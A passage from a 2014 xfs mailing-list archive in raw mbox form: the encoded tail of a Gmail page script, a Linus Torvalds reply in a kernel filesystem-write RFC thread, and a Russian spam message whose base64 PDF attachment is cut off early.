gbqf"),ea\x3du("gbqff"),h\x3da.gpcc\x26\x26a.gpcc();if(da\x26\x26ea\x26\x= 26!h){h\x3df-n-S;switch(L){case "ut":h\x3dMath.min(h,wa);h\x3dMath.max(h,= ra);break;case "ty":h\x3dMath.min(h,va);\nh\x3dMath.max(h,qa);break;case = "xl":h\x3dMath.min(h,ua);h\x3dMath.max(h,H);break;case "xxl":h\x3dMath.mi= n(h,ta);h\x3dMath.max(h,H);break;default:h\x3dMath.min(h,sa),h\x3dMath.ma= x(h,H)}da.style.maxWidth\x3dh+"px";ea.style.maxWidth\x3dh+"px";m-\x3dh}va= r g\x3du("gbgs3");if(g){var L\x3d236\x3e\x3dm,fa\x3da.cc(g,"gbsbc");L\x26= \x26!fa?(a.ca(g,"gbsbc"),a.close()):!L\x26\x26fa\x26\x26(a.cr(g,"gbsbc"),= a.close())}g\x3dm;y\x26\x26(y.style.display\x3d"",g-\x3dy.clientWidth+k);= r\x26\x26(r.style.display\x3d"",g-\x3dr.clientWidth+k);p\x26\x26!Q\x26\x2= 6(g-\x3dp.clientWidth+k);R\x26\x26!ca\x26\x26(g-\x3dR.clientWidth+k+I);va= r p\x3dQ?\n0:35,N\x3dQ||u("gbi4t");if(N\x26\x26!c){g\x3ep?(N.style.displa= y\x3d"",N.style.maxWidth\x3dg+"px"):N.style.display\x3d"none";q\x26\x26(q= .style.width\x3dg\x3cw\x26\x26g\x3ep?g+"px":"");var ga\x3du("gbgs4d"),q\x= 3d"left";w\x3eg^d\x26\x26(q\x3d"right");N.style.textAlign\x3dq;ga\x26\x26= (ga.style.textAlign\x3dq)}r\x26\x260\x3eg\x26\x26(g+\x3dr.clientWidth,r.s= tyle.display\x3d"none");y\x26\x260\x3eg\x26\x26(g+\x3dy.clientWidth,y.sty= le.display\x3d"none");if(M\x26\x26(0\x3eg||c\x26\x26g\x3cc.clientWidth))M= .style.display\x3d"none";var c\x3dd?"right":"left",d\x3dd?"left":"right",= J\x3du("gbu"),hb\x3d""!\x3dJ.style[c];b?(J.style[c]\x3df-J.clientWidth-s+= "px",J.style[d]\x3d\n"auto"):(J.style[c]\x3d"",J.style[d]\x3d"");b!\x3dhb= \x26\x26a.swsc\x26\x26a.swsc(b)}}catch(ib){t(ib,"cb")}},W\x3dfunction(b,d= ,f,c){j\x3d{};j.mo\x3df;j.vh\x3db;j.vw\x3dd;j.es\x3dc;f!\x3dl\x26\x26(cb(= ),e.f\x26\x26e.f())},fb\x3dfunction(b){z.h+\x3db;A.h+\x3db;B.h+\x3db;C.h+= \x3db;D.h+\x3db;E.h+\x3db;F.h+\x3db},gb\x3dfunction(){return j},jb\x3dfun= ction(){try{if(!0\x3d\x3dT){var b\x3dl;l\x3deb();if(b!\x3dl)switch(l){cas= e "ut":ab();break;case "ty":$a();break;case "sm":Za();break;case "md":Ya(= );break;case "xl":Wa();break;case "xxl":Va();break;default:Xa()}}X()}catc= h(d){t(d,"sem")}},U\x3dfunction(b){var d\x3d\nu("gb");d\x26\x26Z(d,"gbexx= li,gbexli,,gbemi,gbesi,gbeti,gbeui".split(","));for(var d\x3d[],f\x3d0,c;= c\x3dTa[f];f++)if(c\x3du(c)){switch(b){case "gbexxl":Z(c,"gbexl,,gbem,gbe= s,gbet,gbeu".split(","));a.ca(c,b);break;case "gbexl":Z(c,"gbexxl,,gbem,g= bes,gbet,gbeu".split(","));a.ca(c,b);break;case "":Z(c,"gbexxl,gbexl,gbem= ,gbes,gbet,gbeu".split(","));a.ca(c,b);break;case "gbem":Z(c,"gbexxl,gbex= l,,gbes,gbet,gbeu".split(","));a.ca(c,b);break;case "gbes":Z(c,"gbexxl,gb= exl,,gbem,gbet,gbeu".split(","));a.ca(c,b);break;case "gbet":Z(c,\n"gbexx= l,gbexl,,gbem,gbes,gbeu".split(","));a.ca(c,b);break;case "gbeu":Z(c,"gbe= xxl,gbexl,,gbem,gbes,gbet".split(",")),a.ca(c,b)}d.push(c)}return d},Z\x3= dfunction(b,d){for(var f\x3d0,c\x3dd.length;f\x3cc;++f)d[f]\x26\x26a.cr(b= ,d[f])},kb\x3dfunction(){try{if(!0\x3d\x3dT)switch(eb()){case "ut":$("gbe= ui");break;case "ty":$("gbeti");break;case "sm":$("gbesi");break;case "md= ":$("gbemi");break;case "xl":$("gbexli");break;case "xxl":$("gbexxli");br= eak;default:$("")}X()}catch(b){t(b,"semol")}},$\x3dfunction(b){var d\x3du= ("gb");d\x26\x26a.ca(d,\nb)};a.eli\x3dkb;a.elg\x3djb;a.elxxl\x3dv(Y,"xxl"= );a.elxl\x3dv(Y,"xl");a.ell\x3dv(Y,"lg");a.elm\x3dv(Y,"md");a.els\x3dv(Y,= "sm");a.elr\x3dgb;a.elc\x3dbb;a.elx\x3dcb;a.elh\x3dfb;a.ela\x3ddb;a.elp\x= 3dX;a.upel\x3dv(Y,"lg");a.upes\x3dv(Y,"md");a.upet\x3dv(Y,"sm");kb();jb()= ;a.mcf("el",{});}catch(e){window.gbar\x26\x26gbar.logger\x26\x26gbar.logg= er.ml(e,{"_sn":"cfg.init"});}})();\n(function(){try{var a\x3dwindow.gbar;= var d\x3dfunction(){return document.getElementById("gbqfqw")},h\x3dfuncti= on(){return document.getElementById("gbqfq")},j\x3dfunction(){return docu= ment.getElementById("gbqf")},k\x3dfunction(){return document.getElementBy= Id("gbqfb")},m\x3dfunction(b){var c\x3ddocument.getElementById("gbqfaa");= c.appendChild(b);l()},n\x3dfunction(b){var c\x3ddocument.getElementById("= gbqfab");c.appendChild(b);l()},l\x3dfunction(){var b\x3ddocument.getEleme= ntById("gbqfqwb");if(b){var c\x3ddocument.getElementById("gbqfaa"),e\x3dd= ocument.getElementById("gbqfab");\nif(c||e){var f\x3d"left",g\x3d"right";= a.rtl(document.getElementById("gb"))\x26\x26(f\x3d"right",g\x3d"left");c\= x26\x26(b.style[f]\x3dc.offsetWidth+"px");e\x26\x26(b.style[g]\x3de.offse= tWidth+"px")}}},p\x3dfunction(b){a.qm(function(){a.qfhi(b)})};a.qfgw\x3dd= ;a.qfgq\x3dh;a.qfgf\x3dj;a.qfas\x3dm;a.qfae\x3dn;a.qfau\x3dl;a.qfhi\x3dp;= a.qfsb\x3dk;}catch(e){window.gbar\x26\x26gbar.logger\x26\x26gbar.logger.m= l(e,{"_sn":"cfg.init"});}})();\n(function(){try{var a\x3dwindow.gbar;a.mc= f("pm",{p:""});}catch(e){window.gbar\x26\x26gbar.logger\x26\x26gbar.logge= r.ml(e,{"_sn":"cfg.init"});}})();\n(function(){try{var a\x3dwindow.gbar;a= .mcf("mm",{s:"1"});}catch(e){window.gbar\x26\x26gbar.logger\x26\x26gbar.l= ogger.ml(e,{"_sn":"cfg.init"});}})();\n(function(){try{var a\x3dwindow.gb= ar;var f\x3dfunction(b,c,d,e){a.qm(function(){a.tsl(b,c,d,e)})},g\x3dfunc= tion(b){a.qm(function(){a.tst(b)})};a.tsl\x3df;a.tst\x3dg;a.mcf("t",{});}= catch(e){window.gbar\x26\x26gbar.logger\x26\x26gbar.logger.ml(e,{"_sn":"c= fg.init"});}})();\n(function(){try{window.gbar.rdl();}catch(e){window.gba= r\x26\x26gbar.logger\x26\x26gbar.logger.ml(e,{"_sn":"cfg.init"});}})();\n= ', "#gb{font:13px/27px Arial,sans-serif;height:72px}#gbz,#gbg{position:absol= ute;white-space:nowrap;top:0;height:30px;z-index:1000}#gbz{left:0;padding= -left:4px}#gbg{right:0;padding-right:5px}#gbs{background:transparent;posi= tion:absolute;top:-999px;visibility:hidden;z-index:998}.gbto #gbs{backgro= und:#fff}#gbx3,#gbx4{background-color:#2d2d2d;background-image:none;_back= ground-image:none;background-position:0 -138px;background-repeat:repeat-x= ;border-bottom:1px solid #000;font-size:24px;height:29px;_height:30px;opa= city:1;filter:alpha(opacity\x3d100);position:absolute;top:0;width:100%;z-= index:990}#gbx3{left:0}#gbx4{right:0}#gbb{position:relative}#gbbw{left:0;= position:absolute;top:72px;width:100%}.gbtcb{position:absolute;visibility= :hidden}#gbz .gbtcb{right:0}#gbg .gbtcb{left:0}.gbxx{display:none !import= ant}.gbxo{opacity:0 !important;filter:alpha(opacity\x3d0) !important}.gbm= {position:absolute;z-index:999;top:-999px;visibility:hidden;text-align:le= ft;border:1px solid #gbi4t.gbthb,#gbg4 #gbgs4d.gbthb{color:#eee;text-shad= ow:0 0 4px rgba(0, 0, 0, .4)}", 1,1,"//ssl.gstatic.zero/ui/v1/icons/mail/logo_default.png","//ssl.gstatic= .zero/ui/v1/icons/mail/logo_black.png","//ssl.gstatic.zero/ui/v1/icons/ma= il/logo_white.png"],["tp",["zh","sq","da","no","bg","it","sl","ga","fr","= sr","cs","ms","fi","de","es","el","sk","et","is","yi","af","sw","zh-Hant"= ,"ht","ja","ko","tr","be","cy","hr","gl","hi","ru","ro","fil","ar","iw","= mk","nl","th","ca","uk","id","en","lv","lt","vi","hu","pl","pt","fa","sv"= ,"mt"],["zh","sq","da","no","bg","it","sl","ga","fr","sr","cs","ms", "fi","de","es","el","sk","et","is","yi","af","sw","zh-Hant","ht","ja","ko= ","tr","be","cy","hr","gl","hi","ru","ro","fil","ar","iw","mk","nl","th",= "ca","uk","id","en","lv","lt","vi","hu","pl","pt","fa","sv","mt"],["\u043= 0\u043b\u0431\u0430\u043d\u0441\u043a\u0438\u0439","sq","\u0430\u043d\u04= 33\u043b\u0438\u0439\u0441\u043a\u0438\u0439","en","\u0430\u0440\u0430\u0= 431\u0441\u043a\u0438\u0439","ar","\u0430\u0444\u0440\u0438\u043a\u0430\u= 0430\u043d\u0441","af","\u0431\u0435\u043b\u043e\u0440\u0443\u0441\u0441\= u043a\u0438\u0439", "be","\u0431\u043e\u043b\u0433\u0430\u0440\u0441\u043a\u0438\u0439","bg",= "\u0432\u0430\u043b\u043b\u0438\u0439\u0441\u043a\u0438\u0439","cy","\u04= 32\u0435\u043d\u0433\u0435\u0440\u0441\u043a\u0438\u0439","hu","\u0432\u0= 44c\u0435\u0442\u043d\u0430\u043c\u0441\u043a\u0438\u0439","vi","\u0433\u= 0430\u0438\u0442\u044f\u043d\u0441\u043a\u0438\u0439","ht","\u0433\u0430\= u043b\u0438\u0441\u0438\u0439\u0441\u043a\u0438\u0439","gl","\u0433\u043e= \u043b\u043b\u0430\u043d\u0434\u0441\u043a\u0438\u0439","nl","\u0433\u044= 0\u0435\u0447\u0435\u0441\u043a\u0438\u0439", "el","\u0434\u0430\u0442\u0441\u043a\u0438\u0439","da","\u0438\u0432\u044= 0\u0438\u0442","iw","\u0438\u0434\u0438\u0448","yi","\u0438\u043d\u0434\u= 043e\u043d\u0435\u0437\u0438\u0439\u0441\u043a\u0438\u0439","id","\u0438\= u0440\u043b\u0430\u043d\u0434\u0441\u043a\u0438\u0439","ga","\u0438\u0441= \u043b\u0430\u043d\u0434\u0441\u043a\u0438\u0439","is","\u0438\u0441\u043= f\u0430\u043d\u0441\u043a\u0438\u0439","es","\u0438\u0442\u0430\u043b\u04= 4c\u044f\u043d\u0441\u043a\u0438\u0439","it","\u043a\u0430\u0442\u0430\u0= 43b\u0430\u043d\u0441\u043a\u0438\u0439", "ca","\u043a\u0438\u0442\u0430\u0439\u0441\u043a\u0438\u0439","zh","\u043= a\u0438\u0442\u0430\u0439\u0441\u043a\u0438\u0439 (\u0422\u0440\u0430\u04= 34\u0438\u0446\u0438\u043e\u043d\u043d\u0430\u044f \u043a\u0438\u0442\u04= 30\u0439\u0441\u043a\u0430\u044f)","zh-Hant","\u043a\u043e\u0440\u0435\u0= 439\u0441\u043a\u0438\u0439","ko","\u043b\u0430\u0442\u044b\u0448\u0441\u= 043a\u0438\u0439","lv","\u043b\u0438\u0442\u043e\u0432\u0441\u043a\u0438\= u0439","lt","\u043c\u0430\u043a\u0435\u0434\u043e\u043d\u0441\u043a\u0438= \u0439", "mk","\u043c\u0430\u043b\u0430\u0439\u0441\u043a\u0438\u0439","ms","\u043= c\u0430\u043b\u044c\u0442\u0438\u0439\u0441\u043a\u0438\u0439","mt","\u04= 3d\u0435\u043c\u0435\u0446\u043a\u0438\u0439","de","\u043d\u043e\u0440\u0= 432\u0435\u0436\u0441\u043a\u0438\u0439","no","\u043f\u0435\u0440\u0441\u= 0438\u0434\u0441\u043a\u0438\u0439","fa","\u043f\u043e\u043b\u044c\u0441\= u043a\u0438\u0439","pl","\u043f\u043e\u0440\u0442\u0443\u0433\u0430\u043b= \u044c\u0441\u043a\u0438\u0439","pt","\u0440\u0443\u043c\u044b\u043d\u044= 1\u043a\u0438\u0439", "ro","\u0440\u0443\u0441\u0441\u043a\u0438\u0439","ru","\u0441\u0435\u044= 0\u0431\u0441\u043a\u0438\u0439","sr","\u0441\u043b\u043e\u0432\u0430\u04= 46\u043a\u0438\u0439","sk","\u0441\u043b\u043e\u0432\u0435\u043d\u0441\u0= 43a\u0438\u0439","sl","\u0441\u0443\u0430\u0445\u0438\u043b\u0438","sw","= \u0442\u0430\u0439\u0441\u043a\u0438\u0439","th","\u0442\u0443\u0440\u043= 5\u0446\u043a\u0438\u0439","tr","\u0443\u043a\u0440\u0430\u0438\u043d\u04= 41\u043a\u0438\u0439","uk","\u0444\u0438\u043b\u0438\u043f\u043f\u0438\u0= 43d\u0441\u043a\u0438\u0439", "fil","\u0444\u0438\u043d\u0441\u043a\u0438\u0439","fi","\u0444\u0440\u04= 30\u043d\u0446\u0443\u0437\u0441\u043a\u0438\u0439","fr","\u0445\u0438\u0= 43d\u0434\u0438","hi","\u0445\u043e\u0440\u0432\u0430\u0442\u0441\u043a\u= 0438\u0439","hr","\u0447\u0435\u0448\u0441\u043a\u0438\u0439","cs","\u044= 8\u0432\u0435\u0434\u0441\u043a\u0438\u0439","sv","\u044d\u0441\u0442\u04= 3e\u043d\u0441\u043a\u0438\u0439","et","\u044f\u043f\u043e\u043d\u0441\u0= 43a\u0438\u0439","ja"]],["tl",["am","ar","bn","el","fa","gu","hi", "kn","ml","mr","ne","pa","ru","sa","sr","ta","te","ti","ur"]],["udc"],["m= la",[["",1,0,0,"\u0421\u0435\u0440\u0433\u0435\u0439 \u0418\u0432\u0430\u= 043d\u043e\u0432"]]],["ps",0,1,0,0,0,0],["mid","https://plus.","https://a= pis."]],"",,"?ui\x3d2\x26view\x3dbsp\x26ver\x3dohhl4rw8mbn4",[248,1089],1= 355555178097,,[5745,5387,5507,5576,5602,5836,10023,5570,5379,5541,5800,57= 93,5371,5516,5696,5893,5566,5369,10024,5384,5821,5041,5126,5058,5689,1001= 5,5699,5381,5930,5111,5660, 5802,5110,1E4,5641,5192,5579,5574,5499,5421,5749,5001,5390,5078,5237,5309= ,5042,5209,5439,5376,5837,5676,5344,5538,5568,5905,5704,5342,5928,5652,55= 95,5799,10027,5773,5662,5750,5724,5372,5556,5518,5887,10013,10029,5894,58= 65,5790,5646,5380,5500,5815,5866,5020,5805,10025,5747,5702,5526],"lsvjwaj= rtlp4","_40_40__40_","","dcaf",2,"_40_40__40_","https://mail./mail/b/77/u= /0/",,"530.17","4.0","9","0","",1,0,"1209600000","530.17","4.0","9","0","= 1"];GLOBALS[0]=3DGM_START_TIME;var pr=3D0;var lp=3D0; var npc=3D0;function sc(k,v){document.cookie=3Dk+"\x3d"+v+";path\x3d"+GLO= BALS[7]}function onLoadTimeout(){if(ssm)return;if(pr>lp){lp=3Dpr;npc=3D0;= loadTimeout=3DsetTimeout(onLoadTimeout,1E4);return}var d=3Ddocument;npc++= ;if(npc<2){loadTimeout=3DsetTimeout(onLoadTimeout,2E4);return}if(top["_AM= _JS_TIMEOUT"])top["_AM_JS_TIMEOUT"](window,sc,"_SL","rld");ssm=3D1;d.getE= lementById("stb").style.display=3D"none";if(!window._jsl){sc("_CB",GM_STA= RT_TIME);si("jscc")}si("jsle");apsl()} function apsl(){(new Image).src=3D"//clients2./availability/?s\x3d\x26a\x= 3dviewinbox\x26c\x3dsol\x26tm\x3d"+(new Date).getTime()+"\x26zx\x3d1k3jer= cqrw2oh"}function apsc(){(new Image).src=3D"//clients2./availability/?s\x= 3d\x26a\x3dviewinbox\x26c\x3dscs\x26tm\x3d"+(new Date).getTime()+"\x26zx\= x3d91ffjw51nigw"}function si(i){(new Image).src=3D"?ui\x3d2\x26view\x3djs= le\x26ik\x3d"+GLOBALS[9]+"\x26imp\x3d"+i+"\x26val\x3d"+pr+"\x26random\x3d= "+GM_START_TIME} function fp(w){w.focus()}var loadTimeout=3DsetTimeout(onLoadTimeout,1E4);= GLOBALS[1]=3D(new Date).getTime(); ------=_NextPart_000_0B4B_01CF1654.19E4E950-- From linus971@gmail.com Mon Jan 20 14:32:06 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.3 required=5.0 tests=FREEMAIL_ENVFROM_END_DIGIT, FREEMAIL_FROM,T_DKIM_INVALID autolearn=no version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id DDD7A7F37 for ; Mon, 20 Jan 2014 14:32:06 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay1.corp.sgi.com (Postfix) with ESMTP id AC1BC8F8068 for ; Mon, 20 Jan 2014 12:32:06 -0800 (PST) X-ASG-Debug-ID: 1390249921-04bdf030ea08990001-NocioJ Received: from mail-ve0-f177.google.com (mail-ve0-f177.google.com [209.85.128.177]) by cuda.sgi.com with ESMTP id 92pw28NK7q19ol3l (version=TLSv1 cipher=RC4-SHA bits=128 verify=NO) for ; Mon, 20 Jan 2014 12:32:02 -0800 (PST) X-Barracuda-Envelope-From: linus971@gmail.com X-Barracuda-Apparent-Source-IP: 209.85.128.177 X-Barracuda-IPDD: Level1 [gmail.com/209.85.128.177] Received: by mail-ve0-f177.google.com with SMTP id jz11so1093098veb.8 for ; Mon, 20 Jan 2014 12:32:01 -0800 (PST) X-Barracuda-IPDD: Level1 [gmail.com/209.85.128.177] X-Barracuda-IPDD: Level1 [gmail.com/209.85.128.177] DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=mime-version:sender:in-reply-to:references:date:message-id:subject :from:to:cc:content-type; bh=OshosBUUA7+J5IF7npHEeeD2HuhVdjqxXKuhihD1uJc=; b=NkPS5Cq42W9gHArkkTHr5GZCSFCAa2oi1lTA1rkIk5FIxJHEgoiUNbVBm85eJhLupp 2LIR1HW2serPs4PvgDH1Idp3xwqu8H8kaMWX5jom1b0LvqbW2Dxd5NjkY8AfISovZ7Ly oNeH1pe8pG4ZFh+fLdeNAWpjzW6IHESd/Ad5noBjlEK7KrPw94fOlsDPKlCIYOASvelo ZPH8fT57RWnH3RZ6gJFdLLBFfypzN0k5oDvVixy2L/0Jc/SflUOMzA1Umq4piCWPTi9I qVR8frKZPTZMJ+KqBR9Cwgygjx646ITmRpjUi61pZBOSo5ExBcCiktZ4u1YBvMMEbXWh duAg== DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=linux-foundation.org; s=google; h=mime-version:sender:in-reply-to:references:date:message-id:subject :from:to:cc:content-type; bh=OshosBUUA7+J5IF7npHEeeD2HuhVdjqxXKuhihD1uJc=; b=fJ62vEGfwawfJLM/a6Dho0xN7JFlnBWWaTXbWt1xg1dSWLfWrhgWMx+WsXbLOUljPO kFuSs4mehp4SAZ8UMNv//zYqER9AmfzTBrfdiMSgWQm8xFfuj4azbwskb4nNds1hhc9d VNa7XDYlDIGF1Zp+V9SoGjGwkdOQTwe0szdP0= MIME-Version: 1.0 X-Received: by 10.220.133.80 with SMTP id e16mr11716568vct.13.1390249921152; Mon, 20 Jan 2014 12:32:01 -0800 (PST) Sender: linus971@gmail.com Received: by 10.221.8.73 with HTTP; Mon, 20 Jan 2014 12:32:01 -0800 (PST) In-Reply-To: <20140120135514.GA21567@infradead.org> References: <20140113141416.GA30117@infradead.org> <20140113235646.GR10323@ZenIV.linux.org.uk> <20140114132207.GA25170@infradead.org> <20140114172033.GU10323@ZenIV.linux.org.uk> <20140118064040.GE10323@ZenIV.linux.org.uk> <20140118074649.GF10323@ZenIV.linux.org.uk> <20140118201031.GI10323@ZenIV.linux.org.uk> <20140119051335.GN10323@ZenIV.linux.org.uk> <20140120135514.GA21567@infradead.org> Date: Mon, 20 Jan 2014 12:32:01 -0800 X-Google-Sender-Auth: eshpKg3MZwSYA6lOwSoFywE91Ag Message-ID: Subject: Re: [RFC] unifying write variants for filesystems From: Linus Torvalds X-ASG-Orig-Subj: Re: [RFC] unifying write variants for filesystems To: Christoph Hellwig Cc: Al Viro , Jens Axboe , Mark Fasheh , Joel Becker , linux-fsdevel , xfs@oss.sgi.com, Sage Weil , Steve French , Dave Kleikamp Content-Type: text/plain; charset=UTF-8 X-Barracuda-Connect: mail-ve0-f177.google.com[209.85.128.177] X-Barracuda-Start-Time: 1390249921 X-Barracuda-Encrypted: RC4-SHA X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=DKIM_SIGNED, DKIM_VERIFIED X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.144296 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature On Mon, Jan 20, 2014 at 5:55 AM, Christoph Hellwig wrote: > On Sun, Jan 19, 2014 at 05:13:35AM +0000, Al Viro wrote: >> Folks, what do you think about the following: > > That's very much what Shaggy did in the aio-direct tree, except that > it kept using a single set of methods. Linus really didn't like it > unfortunately. Umm. That wasn't what I objected to. I objected to the incredibly ugly implementation, the crazy new flags arguments for core helper functions, ugly naming etc etc. I even outlined what might fix it. In other words, I thought the code was shit and ugly. Not that iterators per se would be wrong. Just doing them badly is wrong. So don't go putting words in my mouth. It isn't "unfortunate" at all that I have higher quality standards. Linus From salamlar.89@wave-net.net Mon Jan 20 15:18:20 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=HTML_MESSAGE,T_OBFU_PDF_ATTACH autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 27C857F37 for ; Mon, 20 Jan 2014 15:18:20 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay2.corp.sgi.com (Postfix) with ESMTP id 1DAF3304039 for ; Mon, 20 Jan 2014 13:18:17 -0800 (PST) X-ASG-Debug-ID: 1390252690-04cb6c750709080001-NocioJ Received: from mail.trktvs.ru ([89.237.44.98]) by cuda.sgi.com with ESMTP id zkoV0X6oAd1HUH4v for ; Mon, 20 Jan 2014 13:18:11 -0800 (PST) X-Barracuda-Envelope-From: salamlar.89@wave-net.net X-Barracuda-Apparent-Source-IP: 89.237.44.98 Received: from Unknown (unknown [76.72.246.166]) by mail.trktvs.ru (Postfix) with ESMTPA id A59B9853A23; Tue, 21 Jan 2014 03:17:36 +0600 (YEKT) Message-ID: <806F9C7B369F49D9A3E0F7B18CFC9C2B@gfsbrf> Reply-To: =?windows-1251?B?3crOy87DyNfF0crIySDKzs3S0M7L3A==?= From: =?windows-1251?B?3crOy87DyNfF0crIySDKzs3S0M7L3A==?= To: , , <9989090@nm.ru>, , Subject: =?windows-1251?B?z+7x6+Xk7ejlIOjn7OXt5e3o/yDiIO/w6PDu?= =?windows-1251?B?5O7u9fDg7e3u7CDn4Oru7e7k4PLl6/zx8uLl?= Date: Mon, 20 Jan 2014 22:17:45 +0100 X-ASG-Orig-Subj: =?windows-1251?B?z+7x6+Xk7ejlIOjn7OXt5e3o/yDiIO/w6PDu?= =?windows-1251?B?5O7u9fDg7e3u7CDn4Oru7e7k4PLl6/zx8uLl?= MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="----=_NextPart_000_1BEA_01CF162D.71CBE140" X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 6.00.2900.5931 X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2900.6109 X-Barracuda-Connect: UNKNOWN[89.237.44.98] X-Barracuda-Start-Time: 1390252691 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.60 X-Barracuda-Spam-Status: No, SCORE=0.60 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC0_TG035a, BSF_SC5_MJ1963, HTML_MESSAGE, RDNS_NONE X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.144300 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 HTML_MESSAGE BODY: HTML included in message 0.00 BSF_SC0_TG035a Message contains invalid style definition 0.10 RDNS_NONE Delivered to trusted network by a host with no rDNS 0.50 BSF_SC5_MJ1963 Custom Rule MJ1963 This is a multi-part message in MIME format. ------=_NextPart_000_1BEA_01CF162D.71CBE140 Content-Type: multipart/alternative; boundary="----=_NextPart_001_1BEB_01CF162D.71CBE140" ------=_NextPart_001_1BEB_01CF162D.71CBE140 Content-Type: text/plain; charset="windows-1251" Content-Transfer-Encoding: quoted-printable =DD=EA=EE=EB=EE=E3=E8=F7=E5=F1=EA=E8=E9 =EA=EE=ED=F2=F0=EE=EB=FC =E2 =F1=F4= =E5=F0=E5 =EE=E1=F0=E0=F9=E5=ED=E8=FF =F1 =EE=F2=F5=EE=E4=E0=EC=E8 ------=_NextPart_001_1BEB_01CF162D.71CBE140 Content-Type: text/html; charset="windows-1251" Content-Transfer-Encoding: quoted-printable
=DD=EA=EE=EB=EE=E3=E8=F7=E5=F1=EA=E8=E9 =EA=EE=ED=F2=F0=EE=EB=FC =E2= =F1=F4=E5=F0=E5 =EE=E1=F0=E0=F9=E5=ED=E8=FF =F1 =EE=F2=F5=EE=E4=E0=EC=E8=
------=_NextPart_001_1BEB_01CF162D.71CBE140-- ------=_NextPart_000_1BEA_01CF162D.71CBE140 Content-Type: application/octet-stream; name="=?windows-1251?B?zuHw4Pnl7ejlIPEg7vL17uTg7Ogg7/Du6Ofi?= =?windows-1251?B?7uTx8uLgLnBkZg==?=" Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="=?windows-1251?B?zuHw4Pnl7ejlIPEg7vL17uTg7Ogg7/Du6Ofi?= =?windows-1251?B?7uTx8uLgLnBkZg==?=" JVBERi0xLjQKJeLjz9MKMSAwIG9iago8PC9BbHRlcm5hdGUvRGV2aWNlR3JheS9OIDEvTGVuZ3Ro IDcyNC9GaWx0ZXIvRmxhdGVEZWNvZGU+PnN0cmVhbQp4nGNgYJ7AAARMAgwMBUUlRe5BjpERkVEK 7DcZ2BhYGfgZzBjEE5OLC3yD3UIYcIJv1xgYQfRlXdxqcALWZKDFQPoAEBulpBYnA+kvQJxeXlIA FGeMAbJFkrLB7AIQOzskyBnIbgG6mqcktQKkl8E5v6CyKDM9o0RBI1lTwcjAwFLBOb8oNQdEFuQX JZZk5ufBLITaAQK8LvklCu6JmXkKhqaqZLgdLwCFI4SFCB+EGAIklxaVQVhgRQIMWgx+DJUMqxge MEozRjHOY3zKZMjUwHSJWYO5kfkuiw3LPFZm1mzWq2xObJvYVdhncghwdHKycjZzMXO1cXNzT+SR 4lnKa8x7iC+Y7xl/tYCQwGpBN8FHQo3CisKHRdJFeUW3isWJc4pvlUiRFJY8KlUhrSv9RGaObKic oNxZ+R4FH0VexQtKU5SjVJRUXqtuVWtU99OQ1XiruU9ronaqjrWukO4rvSP68w1qDKOMLI0ljX+b 3DM9bLbCvN+iwjLRysfawkbVVsSOxe6r/XOH244XnI4573XZ6rrebaX7Uo9Fngu9Fngv9Fnsu8xv lf/6gK2Be4OOBZ8PuRX6LOxLBFOkYJRStHGMW2xUXF58S8LsxM1JZ5OfpzKlyaXbZERlVmXNyt6T cy+PKV+9wKewuGh28eGSt2US5S4VhZXzqs5W/63Vq4uvn9RwrPF3s0FLeuu8tusdgp3eXe3dh3sZ +uz76ybsm/h/suOU1qknpvPOCJ45a9ajOVpzS+btW8C1MGzR4sUflzosm7D84UrjVa2rb67VXde0 /uZGg00dmx9stdo2dfuHnb67Vu3h2Ju+7/gB9YOdh14f8Tu6+bj4idqTT057n9lyTvZ8+4VPl+Iu n7pqcW3ZDdGbrbe+3km/e/O+z4MDj0wfr36q+GzmC8GXXa+Z39S9/fm+9MOnTwWf333N+/buR/7P D7+L/3z7V/X/PwAYHxeiCmVuZHN0cmVhbQplbmRvYmoKMiAwIG9iago8PC9UeXBlL1hPYmplY3Qv U3VidHlwZS9JbWFnZS9XaWR0aCA3OTQvSGVpZ2h0IDExMjYvTGVuZ3RoIDQwMzA3L0NvbG9yU3Bh Y2VbL0lDQ0Jhc2VkIDEgMCBSXS9EZWNvZGVQYXJtczw8L0JpdHNQZXJDb21wb25lbnQgOC9QcmVk aWN0b3IgMTUvQ29sdW1ucyA3OTQvQ29sb3JzIDE+Pi9CaXRzUGVyQ29tcG9uZW50IDgvRmlsdGVy 